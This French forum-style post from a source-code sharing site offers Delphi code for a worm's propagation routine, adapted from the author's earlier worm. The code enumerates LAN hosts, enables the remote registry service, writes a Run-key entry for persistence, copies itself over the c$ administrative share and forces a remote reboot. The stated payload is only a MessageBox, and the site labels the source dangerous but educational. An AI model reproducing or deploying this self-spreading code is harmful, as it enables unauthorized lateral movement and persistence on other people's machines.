Methode de propagation d'une application

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Description

Cette application vous montre une comment propager une application sur d'autres machines du reseau.

Cette source a été crée à partir d'un ancien "Worms" que j'avais fait, mais je vous rassure ici elle est inofancive telle qu'elle.

Son action principale est d'afficher une MessageBox à l'ecran.

Pour se propager l'application fait plusieurs actions successive qui sont :

- Rechercher les postes;
- Activer sur cette machine le service "Acces au registre a distance";
- Ecrire le programme sur la machine distante en se servant du partage administratif ( c$ );
- Ecrire dans le registre distant une entré pointant sur le programme afin qu'il se lance automatiquement;
- Et reboot la machine distante (afin que le programme se lance);

Je sais on va encore me dire que c'est illégal etc... mais l'idée, et je pense développer çà plus serieusement, est un système d'installation d'applications à distance. Un programme qui s'instal sur un réseau à partir d'un seul emplacement.

De toute façon l'utilisation massive d'API windows dans ce programme font qu'il est inutilisable si vous n'avez pas de droits suffisant sur les machines distantes et son application est limité au reseau local.

Source / Exemple :


function Propagation : Boolean;
var
  hEnum    : DWORD;
  dwResult : DWORD;
  cEntries : DWORD;
  cbBuffer : DWORD;
  Nom      : string;
  IP       : string;
  Com      : string;
  Chemin   : string;
  I        : Integer;
  lpnr     : PNetResource;  
begin
  Result   := False;
  cEntries := $FFFFFFFF;
  cbBuffer := 16384;

  lpnr := PNETRESOURCE( GlobalAlloc(GPTR, cbBuffer) );

  if ( WNetOpenEnum( RESOURCE_CONTEXT, RESOURCETYPE_ANY, 0, lpnr, hEnum ) <> NO_ERROR ) then Exit;

  dwResult := WNetEnumResource( hEnum, cEntries, lpnr, cbBuffer );
  if (dwResult <> NO_ERROR) then Exit;
  Inc( lpnr );

  for I := 0 to ( cEntries - 1 ) do
  begin

    Nom := ExcludeDoubleBackSlach( lpnr^.lpRemoteName );
    IP  := HostToIP( Nom );  
    Com := lpnr^.lpComment;  
    
    if ( Nom <> '' ) then
    begin

      AjustePrivileges( Nom );

      Chemin := 'c:\spread.exe';

      ServiceStart( 'RemoteRegistry', Nom );

      Sleep( 2000 );

      EcritConnectReg( Nom,
                       HKEY_LOCAL_MACHINE,
                       'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                       'Soundman',
                       Chemin );

      LocalToNetPath( Chemin );

      CopieFichier( ParamStr(0), '\\' + Nom + '\' + Chemin );

      EteindreLAN( Nom, 'Votre machine va redémarrer ...', True, True, 15 );

      Sleep( 2000 );

    end;

    Inc( lpnr );
  end;

  WNetCloseEnum( hEnum );
end;

Conclusion :


Notes et commentaires sont les bienvenues ( si on me supprime pas ma source :-D )

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.